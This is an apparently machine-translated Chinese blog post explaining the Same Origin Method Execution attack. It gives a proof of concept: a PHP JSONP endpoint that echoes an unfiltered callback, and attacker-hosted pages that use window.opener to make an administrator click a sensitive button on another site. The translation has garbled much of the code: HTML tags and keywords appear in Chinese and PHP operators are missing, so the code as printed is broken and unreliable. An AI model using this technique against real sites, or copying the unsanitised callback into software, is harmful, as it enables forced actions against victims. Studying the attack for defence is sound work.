Author: lightless@Meili-incDate: 201710260x00 什么是Same Origin Method Execution先贴一篇paper,这个是Ben Hayak在…
作者: lightless @ Meili-inc
日期: 20171026
0x00什么是同源方法执行
首先发表一篇论文,这是Ben Hayak在Black Hat Eorope 2014上的主题,关于如何使用JSONP等回调执行方法,特别是在过滤回调的参数名称之后。
我们都知道JSONP可以使用回调的特性来跨域传输数据,毫无疑问,数据可以在域之间传递。让我们考虑一下这种情况。网站提供颜色选择器以在编辑文章时调整文本颜色。此颜色选择器是一个弹出窗口,通过回调参数与原始页面进行通信。具体来说,它可能如下所示:
http://a.com/color.php?callback=get_color
color.php的一些内容可能如下:
<脚本>
函数 get_color(data) {
// todo 此处
}
< /脚本>
也就是说,当访问color.php?callback=get_color时,在当前页面上执行get_color函数以进行数据处理等。如果开发人员不注意,则存在安全风险。我们可以利用此回调缺陷来执行用户不期望的敏感操作。请注意,这不是CSRF。一旦CSRF有令牌,就不能使用它(不考虑同源XSS),但是SOME可以绕过敏感操作的限制。
但是,此漏洞也很有限。如果此JSONP返回类似于Content-T ype: application/json的值,则无法使用它,因为此代码将不会被执行。通常只返回Content-Type: text/html以利用这个机会。有一种更简单的判断方法,当您修改URL中的回调值时,查看控制台是否有类似的方法来查找方法xx,未定义的方法xx,如果有的话,可以是简单的假设函数对应于此回调将被执行。
0x01使用前的理论依据
在JavaScrip中,我们可以通过window.open()方法打开一个新窗口,新窗口和原始窗口可以相互交互。
Page1.html
<脚本>
var win1 = window.open('page2.html', '_black');
< /脚本>
Page2.html
<脚本>
var bodyElem = window.opener.document.body;
< /脚本>
从上面的代码可以看出,原始页面可以通过变量获取新页面,新页面可以通过window.opener获取原始页面,这也为SOME的使用提供了基础,当然,先决条件是page1和page2需要是同源的。
我们有一个可以执行任何方法的接口,我们知道我们可以通过开启者获取原始页面,然后我们可以使用此功能让用户做他们不想要的事情。
0x02利用过程
准备some.html页面
让some.html打开some2.html页面
Some.html跳转到目标页面(具有敏感操作dom的页面,例如单击以删除订单的页面,单击以添加敏感操作,例如用户)
some.html跳转完成后,让some2.html跳转到找到的JSONP接口,并修改回调到我们的有效负载。
用来完成。
光看起来很难过,我发布了相关文件的代码。
Info.php,JSONP接口,获取用户信息;
< PHP
$ callback = empty($ _ GET ['callback']) 'jsCallback' $ _GET ['callback'];
$ data = [
'用户名' => '无光',
'avatar' => 'http://cdn.lightless.me/images/01.jpg',
]。
$ data = json_encode($ data);
Echo '< script>';
Echo $回调 '(' $ data ')';
Echo '</script>';
Secret.html,一个包含敏感DOM的页面,它有一个敏感按钮,可以触发一些动作
< HTML>
<身体GT;
<形式>
<按钮 onclick='cc()'>秘密 按钮< /按钮>
< label>访问 令牌: </label>
< input readonly value='abcdefg'>
&LT峰; br>
< label>密码 令牌: </label>
<输入 只读 值='123456'>
< /形式>
<脚本>
函数 cc() {
alert('cc click!');
}
< /脚本>
< /体>
</HTML>
假设上面两部分是http://b.com/user.php?callback=view和http://b.com/secret.html,其中secret.html和按钮的内容只能由管理员查看和操作,其他人都没有。有权查看。我们的目标是“让管理员点击”秘密按钮“按钮。
接下来我们构建POC。首先必须有some.html,它负责打开一个新页面并将当前页面重定向到包含敏感DOM的页面,secret.html。
Some.html
<脚本>
函数 start_some() {
window.open('some2.html');
location.replace('http://b.com/secret.php');
}
setTimeout(start_some(), 1000);
< /脚本>
最后的some2.html页面需要等待some.html重定向完成,重定向到JSONP接口,并使用此接口在window.opener(现在已成为b.com/secret.html)上执行操作。
Some2.html
<脚本>
函数 attack() {
location.replace('http://b.com/info.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click');
}
setTimeout(attack, 2000);
< /脚本>
这样,当用户访问http://attacker.com/some.html时,b.com上的敏感操作实际上已被执行。
0x03结束
我在这里录制了一段视频来演示这个过程的使用:https://ol72orml7.qnssl.com/SOME-VIDEO.mp4,学生需要接受它。
-
发表于 2017-10-30 08:00
- 阅读 ( 605 )
- 分类:黑客技术